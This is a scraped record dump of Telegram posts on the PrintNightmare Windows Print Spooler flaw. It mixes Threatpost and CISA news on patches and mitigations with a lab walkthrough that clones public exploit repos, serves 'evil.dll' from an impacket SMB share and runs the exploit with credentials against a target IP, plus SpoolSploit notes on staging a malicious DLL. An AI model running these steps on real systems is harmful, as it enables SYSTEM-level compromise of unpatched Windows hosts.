LPORT 4444\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 \n\nNow, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.\ngit clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527\ncd PrintNightmare-CVE-2021-34527\nchmod 777 CVE-2021-34527.py \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 \n\nAlright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.\n\nAdd the share name you want (in my case, \u201cshare\u201d is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.\npython3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 \n\nWith everything prepped up and ready, we can launch the RCE exploit. The execution is simple\n\n./exploit.py credentials@IP \u2018UNC_PATH of DLL hosted\u2019\n\nHere, we just launched a share on impacket, we will use that as the UNC path\n./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll' \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 \n\nAs you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 \u2013 PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn\u2019t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.\ngit clone https://github.com/calebstewart/CVE-2021-1675.git\ncd CVE-2021-1675 && ls -al \nhttps://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:53.843802Z"}, {"uuid": "ab4438eb-e2df-4b77-bf10-712a3eaa0843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43503", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.Related CVEs: Remote Code ExecutionSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,CVE-2021-1675Local Privilege EscalationSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,Table of Content\u00b7 Print Spooler Basics\u00b7 Vulnerability Summary\u00b7 Vulnerability Flow\u00b7 Machine IPs\u00b7 Method 1 - PrintNightmare RCE using Python\u00b7 Method 2 - PrintNightmare LPE using Powershell\u00b7 Method 3 - Printnightmare LPE using Mimikatz\u00b7 Patch Status\u00b7 ConclusionPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:54.211921Z"}, {"uuid": "a3f4a00d-e6d6-4e2a-8a79-16a7d5b78a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43508", "content": "Hacking Articles\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.\n\nRelated CVEs: CVE-2021-34527\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Remote Code Execution\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019 CVE-2021-1675\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Local Privilege Escalation\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019\n\nRelated Advisories:\n\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527\n* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675 Table of Content* Print Spooler Basics\n* Vulnerability Summary\n* Vulnerability Flow\n* Machine IPs\n* Method 1 \u2013 PrintNightmare RCE using Python\n* Method 2 \u2013 PrintNightmare LPE using Powershell\n* Method 3 \u2013 Printnightmare LPE using Mimikatz\n* Patch Status\n* Conclusion Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgKK9SRwPXWdtJgPhf5s-QXJvGPeLuG0FaKQG4Pkd4xlMlzDpVW1k4e8KcFndBQ6aeV4In8oKdo_MZxVzbixWr1OBuvLvmGqCUXYa5I-Xc1np20mMwFCJVFs0WA1DCxk9ltFmkJFfnDJow9VOjYVEx6LEOoiabT1tnDt_nz9RGy8QZs-Nl7SrgmL6i9dg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv\u00a0is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe\u00a0is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll\u00a0determines which print provider to call, based on a printer name and passes function call to the correct provider. Vulnerability SummaryMS-RPRN protocol (Print System Remote Proto[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:53.937616Z"}, {"uuid": "caf74fbc-e42f-4397-9a8d-0f93efc8ad23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/26606", "content": "Disclaimer\nThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code.\nCredits\n\nSpoolSample - Microsoft (https://www.kitploit.com/search/label/Microsoft) Feature\nleechristensen (https://github.com/leechristensen/SpoolSample) discovered the SpoolSample exploit and created a C# POC SpoolSample (https://github.com/leechristensen/SpoolSample/tree/master/SpoolSample)3xocyte (https://gist.github.com/3xocyte) created a Python2 SpoolSample POC dementor (https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#file-dementor-py).\nPrintNightmare - CVE-2021-1675 / CVE-2021-34527\ncube0x0 (https://github.com/cube0x0) created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket (https://github.com/SecureAuthCorp/impacket).Zhiniang Peng (https://twitter.com/edwardzpeng) & Xuefeng Li (https://twitter.com/lxf02942370) discovered this exploit.\n\nDownload SpoolSploit (https://github.com/BeetleChunks/SpoolSploit)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.122165Z"}, {"uuid": "3d92788f-91d0-44a4-a7db-70cdc1f12763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/26613", "content": "2_SpoolSample.gif PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEMIncluded in the SpoolSploit container is an SMB server implemented via Impacket. This server can be used to host malicious DLLs when executing the printnightmareattack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.\n\nThe only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server. sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' https://1.bp.blogspot.com/-IqUvx7SXavM/YVi9igITTRI/AAAAAAAAvWs/9nikcO6EzWcW7r2BBW6nLGx3obnPjHIDgCNcBGAsYHQ/w640-h522/SpoolSploit_3_PrintNightmare.gif DisclaimerThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code. CreditsSpoolSample - Microsoft Feature* leechristensen discovered the SpoolSample exploit and created a C# POC SpoolSample\n* 3xocyte created a Python2 SpoolSample POC dementor. PrintNightmare - CVE-2021-1675 / CVE-2021-34527* cube0x0 created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket.\n* Zhiniang Peng & Xuefeng Li discovered this exploit. Download SpoolSploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.208774Z"}, {"uuid": "8b7a719d-c0d8-4d63-9a36-29fc942d9a99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/32354", "content": "Exploit Collector\nPrintNightmare Vulnerability\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nWhitepaper called PrintNightmare Vulnerability. This document illustrates the exploitation of the vulnerability found in the Windows spooler service. Originally thought to be a local privilege escalation vulnerability in the Windows Print Spooler, identified as CVE-2021-1675 and patched during Microsoft's June Patch. Microsoft increased the severity of this issue on June 21 as well as reclassifying it as a 'remote code execution' (RCE) threat. This RCE vulnerability has been assigned a new identifier, CVE-2021-34527.\n\nMD5 | abd7ef242b6bd0fffaf67005b519a4bd\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:09.006226Z"}, {"uuid": "56eaf59c-6faa-4608-b5fa-ed35c496f8b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/27439", "content": "g that allowed threat actors to conduct remote code execution (RCE) and to gain local system privileges.\n\nThis month\u2019s release includes a fix for CVE-2021-36970, a spoofing vulnerability in Microsoft\u2019s Windows Print Spooler that has a CVSSv3 score of 8.8.\n\nChris Morgan, senior cyber threat intelligence analyst at Digital Shadows, said that the spoofing vulnerability fix Microsoft put out today is meant to fix the problems that previous patches have introduced.\n\n\u201cWhile Microsoft provided a fix in their September 2021 update,\u00a0the patch resulted in a number of management problems,\u201d he told Threatpost. \u201cCertain printers required users to repeatedly input their administrator credentials every time an application attempted to print or had a client connect to a print server.\n\n\u201cOther problems included event logs recording error messages and denying users the ability to perform basic prints\u201d he continued. \u201cAs a result, many may have likely skipped the update due to its operational impact, ultimately leaving the risk posed by PrintNightmare in place.\u201d\n\nThis vulnerability was discovered by researchers XueFeng Li and Zhiniang Peng of Sangfor, who were also credited with the discovery of CVE-2021-1675, one of two vulnerabilities known as PrintNightmare.\n\nSatnam Narang, staff research engineer at Tenable noted that \u201cWhile no details have been shared publicly about the flaw, this is definitely one to watch for, as we saw a constant stream of Print Spooler-related vulnerabilities patched over the summer while ransomware groups began incorporating PrintNightmare into their affiliate playbook. We strongly encourage organizations to apply these patches as soon as possible.\u201d\nSee Also: Apple Pay with VISA lets hackers force payments on locked iPhones RCE Affects Microsoft Word, Office, SharePointAnother vulnerability worth noting is CVE-2021-40486, a critical RCE affecting Microsoft Word, Microsoft Office and some versions of SharePoint Server that can be exploited via the Preview Pane.\n\nGina Geisel, Automox product and partner marketing professional, noted that this vulnerability isn\u2019t new to Microsoft, with several other similar CVEs documented this year. In this case, the RCE vulnerability exists in some Microsoft apps when they fail to properly handle objects in memory.\n\nWith a low attack complexity, this vulnerability requires a user opening a specially crafted file either by email or via a website, either hosted by the attacker or through a compromised website that accepts or hosts user-provided content.\n\n\u201cAn attacker who successfully exploits this vulnerability can use this file to perform actions in the context of the current user,\u201d Geisel explained. \u201cFor example, the file could take actions on behalf of the logged-on user with the same permissions as the current user.\u201d Microsoft SharePoint Server RCEImmersive Labs\u2019 Breen told Threatpost that this RCE vulnerability \u2013 tracked as CVE-2021-40487\u00a0rated as 8.1 out of 10 CVSS score and marked as \u201cexploitation more likely\u201d \u2013 will be more difficult for an attacker to exploit, given that it requires an authenticated user on the domain.\n\nBut gaining RCE on a SharePoint server \u201copens up a lot of avenues for further exploitation,\u201d he noted via email.\n\n\u201cInternal SharePoint servers are often used to host company-sensitive documents and provide an intranet for staff to interact with,\u201d Breen explained. \u201cIf an attacker could manipulate the content of these articles or replace valid documents with malicious ones, they could steal credentials or trick targeted users into installing additional malware.\u201d Highest CVSS Award Goes to Microsoft Exchange Server RCECVE-2021-26427, the latest in Exchange Server RCEs, takes the severity cake this month, with a CVSS score of 9.0 out of 10. In spite of this hgh severity rating, Microsoft has marked it as being \u201cexploitation less likely,\u201d perhaps due to the what Breen called the \u201cnetwork adjacent vector.\u201d\n\nIn other [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:14.251950Z"}, {"uuid": "afe3bd76-956d-4a23-9809-00413b21e077", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/26604", "content": "PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEM\nIncluded in the SpoolSploit container is an SMB server implemented via Impacket (https://github.com/SecureAuthCorp/impacket). This server can be used to host malicious DLLs when executing the printnightmare attack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.The only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server.sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.443783Z"}, {"uuid": "f1b4da8f-a51d-48f1-a3e9-82f3f9de335e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/15522", "content": "Black Hat Ethical Hacking\nCISA Offers New Mitigation for PrintNightmare Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg CISA Offers New Mitigation for PrintNightmare BugPost Views: 324 \nReading Time: 1 Minute\nThe U.S. government has stepped in to offer a mitigation for a critical remote code execution (RCE) vulnerability in the Windows Print Spooler service that may not have been fully patched by Microsoft\u2019s initial effort to fix it.\nTo mitigate the bug, dubbed PrintNightmare, the CERT Coordination Center (CERT/CC) has released a VulNote\u00a0for CVE-2021-1675 urging system administrations to disable the Windows Print Spooler service in Domain Controllers and systems that do not print, the Cybersecurity Infratructure and Security Administration (CISA) said in a release\u00a0Thursday. CERT/CC is part of the Software Engineering Institute, a federally funded research center operated by Carnegie Mellon University.\n\n\u201cWhile Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured,\u201d CERT/CC researchers wrote in the note.\n\nThe mitigation is in response to a scenario that unfolded earlier this week when a proof-of-concept (POC) for PrintNightmare was dropped on GitHub on Tuesday. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform. An attacker can use the POC to exploit the vulnerability to take control of an affected system.\n\nIn the meantime, Microsoft Thursday put out a new advisory of its own on PrintNightmare that assigns a new CVE and seems to suggest a new attack vector while attempting to clarify confusion that has arisen over it.\nSee Also: PoC Exploit Circulating for Critical Windows Print Spooler Bug While the company originally addressed CVE-2021-1675 in June\u2019s Patch Tuesday updates\u00a0as a minor elevation-of-privilege vulnerability, the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that the patch appears to fail against the RCE aspect of the bug\u2014hence CISA\u2019s offer of another mitigation and Microsoft\u2019s update. Assignment of New CVE?Regarding the latter, the company dropped a notice\u00a0Thursday for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appears to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\nThe description of the bug sounds like PrintNightmare; indeed, Microsoft acknowledges that it is \u201can evolving situation.\n\n\u201cA remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to the notice. \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\u201d\n\nIn a \u201cFAQ\u201d section in the security update, Microsoft attempts to explain CVE-2021-34527\u2019s connection to CVE-2021-1675.\nSee Also: Offensive Security Tool: GoSpider\n\u201cIs this the vulnerability that has been referred to publicly as PrintNightmare? Yes, Microsoft has assigned CVE-2021-34527 to this vulnerability,\u201d the company wrote.\n\nHowever, the answer to the question \u201cIs this vulnerability related to CVE-2021-1675?\u201d suggests that CVE-2021-34527 is a different issue.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a di[...]", "creation_timestamp": "2026-09-01T20:02:34.220409Z"}, {"uuid": "52902c97-2cfe-4cf2-9a1c-898a6000a597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/19795", "content": "rosoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (CVE-2021-34480) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access.\u00a0 Simple, but effective.\u201d\nSee Also: Offensive Security Tool: Mimikatz The Windows Graphic Component bug (CVE-2021-34530) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (CVE-2021-34534). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as CVE-2021-34535\u00a0impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally.\u00a0 These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug as BlueKeep,\u00a0according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerWindows Print Spooler Bugs \u2013 AgainThe final critical bug is CVE-2021-36936, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 requiring a new patch.\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, an EoP issue\u00a0(CVE-2021-34481).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:28.745832Z"}, {"uuid": "5d519056-351c-4ad8-864e-c799fb65b991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/15523", "content": "fferent vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nMicrosoft goes on to explain that CVE-2021-34527 existed before the June Patch Tuesday updates and that it affects domain controllers in \u201call versions of Windows.\u201d\n\n\u201cWe are still investigating whether all versions are exploitable,\u201d the company wrote. \u201cWe will update this CVE when that information is evident.\u201d\n\nMicrosoft did not assign a score to CVE-2021-34527, citing its ongoing investigation. Two Vulnerabilities?In retrospect, one security researcher noted to Threatpost when news of PrintNightmare surfaced Tuesday that it was \u201ccurious\u201d that the CVE for the original vulnerability was \u201c-1675,\u201d observing that \u201cmost of the CVEs Microsoft patched in June are -31000 and higher.\u201d\n\n\u201cThis could be an indicator that they have known about this bug for some time, and fully addressing it is not trivial,\u201d Dustin Childs of Trend Micro\u2019s Zero Day Initiative told Threatpost at the time. Now it appears that perhaps Microsoft was patching only part of a more complex vulnerability. The likely scenario appears to be that there are two bugs in Windows Print Spooler that could offer attackers some kind of exploit chain or be used separately to take over systems.\n\nWhile one flaw may indeed have been addressed in June\u2019s Patch Tuesday update, the other could be mitigated by CERT/CC\u2019s workaround\u2014or could remain to be patched by a future Microsoft update that comes after the company completes its investigation.\n\nThe company\u2019s release Thursday of a new CVE related to PrintNightmare seems to be an initial attempt to clarify the situation, though given its developing nature, it remains a bit hazy for now. See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker Source: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/router-90x90.jpg Netgear Authentication Bypass Allows Router Takeover4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/windows-bug-bounty-90x90.jpg PoC Exploit Circulating for Critical Windows Print Spooler Bug5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/linkedin-90x90.png Data for 700M LinkedIn Users Posted for Sale in Cyber-Underground6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/1920px-NVidia_G71_GPU-90x90.jpg NVIDIA Patches High-Severity GeForce Spoof-Attack Bug7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/cisco-90x90.jpg Cisco ASA Bug Now Actively Exploited as PoC Drops1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-7-90x90.png 30M Dell Devices at Risk for Remote BIOS Attacks, RCE2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/09_linux_kernel_vuln-e1624449271917-90x90.png Unpatched Linux Marketplace Bugs Allow Wormable Attacks, Drive-By RCE2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-6-1-90x90.png Email Bug Allows Message Snooping, Credential Theft2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-6-90x90.png Bugs in NVIDIA\u2019s Jetson Chipset Opens Door to DoS Attacks, Data Theft2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/14.4.2-90x90.png New iPhone Bug Breaks Your WiFi: Here\u2019s The Fix2 weeks ago\nstyle=\"display:block; text-align:center;\"\n 